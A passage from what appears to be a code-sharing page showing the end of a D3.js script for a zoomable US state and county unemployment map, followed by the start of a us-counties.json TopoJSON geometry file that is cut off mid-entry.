        .on(&apos;click&apos;, function (d) { stateZoom(d.id) })
    d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&quot;--&gt; Map paths rendered&quot;)
    d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(d3.select(&apos;#zoomy-map&apos;).html())

    function usZoom() {
      	alert(&quot;US Zoom&quot;);
        var t = d3.transition().duration(800)

        projection.scale(height * 2).translate([width / 2, height / 2])

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })

        svg.selectAll(&apos;.county&apos;)
            .data([])
            .exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }

    function stateZoom(id) {
				alert(&quot;State Zoom&quot;);
        var state = states.find(function (d) { return d.id === id })
        var stateCounties = counties.filter(function (d) {
            return d.id &gt; id &amp;&amp; d.id &lt; id + 1000
        })

        var t = d3.transition().duration(800)

        var countyPaths = svg.selectAll(&apos;.county&apos;)
            .data(stateCounties, function (d) { return d.id })

        var enterCountyPaths = countyPaths.enter().append(&apos;path&apos;)
            .attr(&apos;class&apos;, &apos;county&apos;)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })
            .style(&apos;opacity&apos;, 0)
            .on(&apos;click&apos;, function () { usZoom() })

        projection.fitExtent(
            [[padding, padding], [width - padding, height - padding]],
            state
        )

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, &apos;#444&apos;)

        enterCountyPaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 1)

        countyPaths.exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }
}

&lt;/script&gt;
&lt;/body&gt;
</code></pre>
<h3>us-counties.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;counties&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;bbox&quot;:[-179.1473399999999,17.67439566600018,179.7784800000003,71.38921046500008],&quot;geometries&quot;:[{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53073,&quot;arcs&quot;:[[[0,1,2]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30105,&quot;arcs&quot;:[[3,4,5,6,7,8]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30029,&quot;arcs&quot;:[[9,10,11,12,13,14,15,16,17,18]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16021,&quot;arcs&quot;:[[19,20,21,22]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30071,&quot;arcs&quot;:[[-8,23,24,25,26,27]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38079,&quot;arcs&quot;:[[28,29,30,31]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30053,&quot;arcs&quot;:[[-18,32,33,-20,34]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38009,&quot;arcs&quot;:[[-30,35,36,37,38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30035,&quot;arcs&quot;:[[39,40,-10,41]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30041,&quot;arcs&quot;:[[42,43,44,45]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30005,&quot;arcs&quot;:[[-27,46,47,-46,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30019,&quot;arcs&quot;:[[49,50,-4,51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38067,&quot;arcs&quot;:[[52,53,54,55]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27069,&quot;arcs&quot;:[[56,57,-53,58]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38095,&quot;arcs&quot;:[[59,60,61,-32,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38019,&quot;arcs&quot;:[[-55,64,65,-64,66]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53047,&quot;arcs&quot;:[[67,68,69,70,71,72,-1,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53065,&quot;arcs&quot;:[[74,75,76,77,78]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53051,&quot;arcs&quot;:[[-22,79,80,-75,81]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53019,&quot;arcs&quot;:[[-78,82,-68,83]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30051,&quot;arcs&quot;:[[84,85,86,-44,87]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38023,&quot;arcs&quot;:[[88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38013,&quot;arcs&quot;:[[92,93,94,95,-89,96]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30101,&quot;arcs&quot;:[[97,-86,98,-40]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38075,&quot;arcs&quot;:[[99,100,-93,101,-38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27135,&quot;arcs&quot;:[[102,103,-57,104,105]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30091,&quot;arcs&quot;:[[-91,106,107,-50,108]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16017,&quot;arcs&quot;:[[-34,109,110,111,112,-80,-21]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38101,&quot;arcs&quot;:[[-101,113,114,115,-94]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53055,&quot;arcs&quot;:[[[116]],[[117]],[[118]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27071,&quot;arcs&quot;:[[119,120,121,122,123]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53057,&quot;arcs&quot;:[[[124,-2,-73,125,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38105,&quot;arcs&quot;:[[-96,128,129,130,-107,-90]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38049,&quot;arcs&quot;:[[131,132,133,-114,-100,-37]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27137,&quot;arcs&quot;:[[134,135,136,137,138,139,-120,140]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30085,&quot;arcs&quot;:[[-108,-131,141,142,-5,-51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53007,&quot;arcs&quot;:[[-72,143,144,145,146,-126]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38061,&quot;arcs&quot;:[[147,148,149,-129,-95,-116]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27089,&quot;arcs&quot;:[[150,151,152,153,154,-58,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38069,&quot;arcs&quot;:[[-62,155,156,157,-132,-36,-29]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:38071,&quot;arcs&quot;:[[[158]],[[159,160,161,-60,-66]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38099,&quot;arcs&quot;:[[-54,-155,162,163,-160,-65]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27007,&quot;arcs&quot;:[[-122,164,165,166,167,168,-151,-103,169]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30073,&quot;arcs&quot;:[[-99,-85,170,171,-11,-41]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53029,&quot;arcs&quot;:[[[172,173]],[[174]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53009,&quot;arcs&quot;:[[[175,176]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38005,&quot;arcs&quot;:[[-61,-162,177,178,179,-156],[-159]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30015,&quot;arcs&quot;:[[-48,180,181,182,183,-171,-88,-43]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53061,&quot;arcs&quot;:[[[-147,184,185,-173,186,-127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30089,&quot;arcs&quot;:[[-17,187,188,189,190,-110,-33]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27075,&quot;arcs&quot;:[[191,192,-135,193]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38063,&quot;arcs&quot;:[[194,195,196,197,-178,-161,-164]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38035,&quot;arcs&quot;:[[-154,198,199,200,-195,-163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27119,&quot;arcs&quot;:[[201,202,203,204,205,206,207,-199,-153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27113,&quot;arcs&quot;:[[-169,208,-204,209,-202,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30083,&quot;arcs&quot;:[[210,211,212,213,-142]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53017,&quot;arcs&quot;:[[214,215,-144,-71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38053,&quot;arcs&quot;:[[-150,216,217,218,219,-211,-130]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53031,&quot;arcs&quot;:[[[220,221,222,-176,223]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30099,&quot;arcs&quot;:[[-184,224,225,-12,-172]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30055,&quot;arcs&quot;:[[-214,226,227,228,-6,-143]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16079,&quot;arcs&quot;:[[-191,229,230,231,232,233,-111]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30047,&quot;arcs&quot;:[[234,-188,-16]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53063,&quot;arcs&quot;:[[-81,-113,235,236,237,238,-76]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27029,&quot;arcs&quot;:[[239,240,241,-205,-209,-168]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16055,&quot;arcs&quot;:[[-234,242,-236,-112]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30033,&quot;arcs&quot;:[[-229,243,244,245,246,-24,-7]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27125,&quot;arcs&quot;:[[-203,-210]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53025,&quot;arcs&quot;:[[-70,247,248,249,250,251,252,-215]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53043,&quot;arcs&quot;:[[-83,-77,-239,253,254,-248,-69]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30049,&quot;arcs&quot;:[[255,256,257,258,259,-13,-226]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53035,&quot;arcs&quot;:[[[260]],[[261,262,263,264,265]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27061,&quot;arcs&quot;:[[-140,266,267,-165,-121]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38055,&quot;arcs&quot;:[[268,269,270,271,272,-148,-115,-134]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38027,&quot;arcs&quot;:[[-198,273,274,275,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38103,&quot;arcs&quot;:[[-180,-276,276,277,278,279,-157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38083,&quot;arcs&quot;:[[-158,-280,280,281,-269,-133]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38025,&quot;arcs&quot;:[[-273,282,283,284,-217,-149]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30027,&quot;arcs&quot;:[[-26,285,286,287,288,289,-181,-47]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30021,&quot;arcs&quot;:[[-213,290,291,-227]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53033,&quot;arcs&quot;:[[[292]],[[-146,293,294,295,-185]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30013,&quot;arcs&quot;:[[296,297,-256,-225,-183]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38091,&quot;arcs&quot;:[[-201,298,299,300,301,-196]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38039,&quot;arcs&quot;:[[-302,302,303,304,-274,-197]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38097,&quot;arcs&quot;:[[305,306,-299,-200,-208]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53045,&quot;arcs&quot;:[[[307,-265,308,309,310,311,-221]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30063,&quot;arcs&quot;:[[-15,312,313,314,315,316,317,-189,-235]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30077,&quot;arcs&quot;:[[-260,318,319,320,-313,-14]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30069,&quot;arcs&quot;:[[-247,321,322,-286,-25]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53037,&quot;arcs&quot;:[[-216,-253,323,-294,-145]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38031,&quot;arcs&quot;:[[-305,324,-277,-275]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38057,&quot;arcs&quot;:[[325,326,327,-283,-272]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53027,&quot;arcs&quot;:[[[-312,328,329,330,331,-222]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27087,&quot;arcs&quot;:[[332,333,-206,-242]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27107,&quot;arcs&quot;:[[-207,-334,334,335,336,-306]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30061,&quot;arcs&quot;:[[-318,337,-230,-190]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27021,&quot;arcs&quot;:[[338,339,340,341,342,343,-166,-268]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23003,&quot;arcs&quot;:[[344,345,346,347,348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30045,&quot;arcs&quot;:[[-290,349,350,-297,-182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16009,&quot;arcs&quot;:[[-233,351,352,-237,-243]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27057,&quot;arcs&quot;:[[-344,353,354,-240,-167]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53053,&quot;arcs&quot;:[[[-295,355,356,357,358]],[[-262,359]],[[-309,-264,360]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30109,&quot;arcs&quot;:[[-220,361,362,363,-291,-212]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38007,&quot;arcs&quot;:[[-285,364,365,366,-218]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38033,&quot;arcs&quot;:[[-367,367,368,-362,-219]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38043,&quot;arcs&quot;:[[369,370,371,372,-281,-279]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38093,&quot;arcs&quot;:[[-304,373,374,375,-370,-278,-325]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38015,&quot;arcs&quot;:[[-373,376,377,378,-270,-282]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38065,&quot;arcs&quot;:[[-379,379,-326,-271]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53001,&quot;arcs&quot;:[[380,381,-249,-255]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53075,&quot;arcs&quot;:[[-238,-353,382,383,384,385,386,387,-381,-254]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38003,&quot;arcs&quot;:[[-301,388,389,390,-374,-303]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38017,&quot;arcs&quot;:[[-307,-337,391,392,393,-389,-300]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53067,&quot;arcs&quot;:[[-358,394,-329,-311,395]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30079,&quot;arcs&quot;:[[-364,396,397,-244,-228,-292]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27005,&quot;arcs&quot;:[[-355,398,399,400,-335,-333,-241]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27027,&quot;arcs&quot;:[[-401,401,402,403,-392,-336]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16057,&quot;arcs&quot;:[[-232,404,405,-383,-352]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53077,&quot;arcs&quot;:[[-252,406,407,408,409,-356,-324]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30059,&quot;arcs&quot;:[[-351,410,411,412,413,414,-257,-298]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27001,&quot;arcs&quot;:[[-139,415,416,417,418,419,-339,-267]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26131,&quot;arcs&quot;:[[420,421,422,423]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38089,&quot;arcs&quot;:[[-328,424,425,426,427,-365,-284]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38059,&quot;arcs&quot;:[[-378,428,429,430,-425,-327,-380]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26013,&quot;arcs&quot;:[[431,432,433,434]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16035,&quot;arcs&quot;:[[-338,-317,435,436,437,-405,-231]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30017,&quot;arcs&quot;:[[438,439,440,441,-245,-398]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30087,&quot;arcs&quot;:[[-442,442,443,444,445,446,-322,-246]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30039,&quot;arcs&quot;:[[447,448,-314,-321]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27159,&quot;arcs&quot;:[[-343,449,450,-399,-354]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27035,&quot;arcs&quot;:[[-420,451,452,-340]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53049,&quot;arcs&quot;:[[[453,454,455,-331]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53041,&quot;arcs&quot;:[[-395,-357,-410,456,457,458,-454,-330]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30007,&quot;arcs&quot;:[[-415,459,460,-258]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27017,&quot;arcs&quot;:[[461,462,-416,-138]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26053,&quot;arcs&quot;:[[463,464,465,466,-422]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30065,&quot;arcs&quot;:[[-447,467,468,-287,-323]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26095,&quot;arcs&quot;:[[469,470,471,472,473]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30037,&quot;arcs&quot;:[[-469,474,475,476,477,-288]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30107,&quot;arcs&quot;:[[-289,-478,478,-411,-350]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53021,&quot;arcs&quot;:[[479,480,481,-250,-382,-388]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53005,&quot;arcs&quot;:[[482,483,484,485,-407,-251,-482]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27111,&quot;arcs&quot;:[[-451,486,487,488,489,-402,-400]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38037,&quot;arcs&quot;:[[490,491,492,-426,-431]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53023,&quot;arcs&quot;:[[493,494,495,-386]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30025,&quot;arcs&quot;:[[-369,496,497,498,499,-439,-397,-363]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16049,&quot;arcs&quot;:[[500,501,502,503,504,505,506,-436,-316]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30081,&quot;arcs&quot;:[[-449,507,508,509,-501,-315]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38029,&quot;arcs&quot;:[[-372,510,511,512,513,-429,-377]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38047,&quot;arcs&quot;:[[-376,514,515,-511,-371]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16069,&quot;arcs&quot;:[[-438,516,-506,517,518,-384,-406]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38087,&quot;arcs&quot;:[[519,520,521,-497,-368,-366,-428]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38045,&quot;arcs&quot;:[[522,523,524,-515,-375,-391]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38041,&quot;arcs&quot;:[[-493,525,-520,-427]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27167,&quot;arcs&quot;:[[-490,526,527,528,-403]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38073,&quot;arcs&quot;:[[-394,529,530,531,-523,-390]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38077,&quot;arcs&quot;:[[-529,532,533,534,-530,-393,-404]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53013,&quot;arcs&quot;:[[535,536,537,-480,-387,-496]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53071,&quot;arcs&quot;:[[-538,538,-483,-481]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55051,&quot;arcs&quot;:[[-466,539,540,541,542]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23025,&quot;arcs&quot;:[[543,544,545,546,547,548,-348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23021,&quot;arcs&quot;:[[549,-544,-347]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30043,&quot;arcs&quot;:[[-461,550,551,552,553,-319,-259]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26153,&quot;arcs&quot;:[[-472,554,555,556,557]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30111,&quot;arcs&quot;:[[558,559,560,561,-475,-468,-446]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30103,&quot;arcs&quot;:[[562,-559,-445]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16061,&quot;arcs&quot;:[[-437,-507,-517]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53003,&quot;arcs&quot;:[[-519,563,-494,-385]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38085,&quot;arcs&quot;:[[-514,564,565,-491,-430]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26071,&quot;arcs&quot;:[[-433,566,567,568,569,570,-464,-421,571]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27115,&quot;arcs&quot;:[[572,573,574,575,-417,-463]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23019,&quot;arcs&quot;:[[576,577,578,579,-545,-550,-346]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53059,&quot;arcs&quot;:[[-409,580,581,582,583,584,-457]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53015,&quot;arcs&quot;:[[-585,585,586,587,588,-458]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53069,&quot;arcs&quot;:[[[-459,-589,589,-455]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27153,&quot;arcs&quot;:[[-342,590,591,592,-487,-450]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27097,&quot;arcs&quot;:[[-453,593,594,595,-591,-341]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55125,&quot;arcs&quot;:[[596,597,-540,-465,-571,598]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41007,&quot;arcs&quot;:[[[599,600,601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38001,&quot;arcs&quot;:[[-492,-566,602,603,604,605,-521,-526]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38081,&quot;arcs&quot;:[[-535,606,607,608,-531]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38051,&quot;arcs&quot;:[[-525,609,610,611,-512,-516]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38021,&quot;arcs&quot;:[[-532,-609,612,613,-610,-524]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38011,&quot;arcs&quot;:[[-606,614,-498,-522]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30023,&quot;arcs&quot;:[[-554,615,616,-508,-448,-320]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26043,&quot;arcs&quot;:[[617,618,619,-568,620]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27095,&quot;arcs&quot;:[[621,622,623,624,-594,-452,-419]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30097,&quot;arcs&quot;:[[-477,625,626,-412,-479]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30031,&quot;arcs&quot;:[[-414,627,628,629,630,631,-551,-460]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30067,&quot;arcs&quot;:[[-627,632,633,634,-628,-413]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30093,&quot;arcs&quot;:[[635,636,-616,-553]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41009,&quot;arcs&quot;:[[[637,638,639,-600,640,-587]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27065,&quot;arcs&quot;:[[-576,641,-622,-418]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55013,&quot;arcs&quot;:[[642,643,644,645,-574,646]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55113,&quot;arcs&quot;:[[647,648,649,650,651]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55129,&quot;arcs&quot;:[[-651,652,-643,653]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30011,&quot;arcs&quot;:[[654,655,656,657,-440,-500]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30095,&quot;arcs&quot;:[[-562,658,-633,-626,-476]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27051,&quot;arcs&quot;:[[-489,659,660,661,-527]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27041,&quot;arcs&quot;:[[-593,662,663,-660,-488]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55041,&quot;arcs&quot;:[[664,665,666,667,668,-599,-570]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53011,&quot;arcs&quot;:[[-584,669,-638,-586]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53039,&quot;arcs&quot;:[[-486,670,671,672,673,674,-581,-408]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30003,&quot;arcs&quot;:[[-444,675,676,677,678,-560,-563]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27155,&quot;arcs&quot;:[[-662,679,680,681,-533,-528]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55037,&quot;arcs&quot;:[[-620,682,-665,-569]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41059,&quot;arcs&q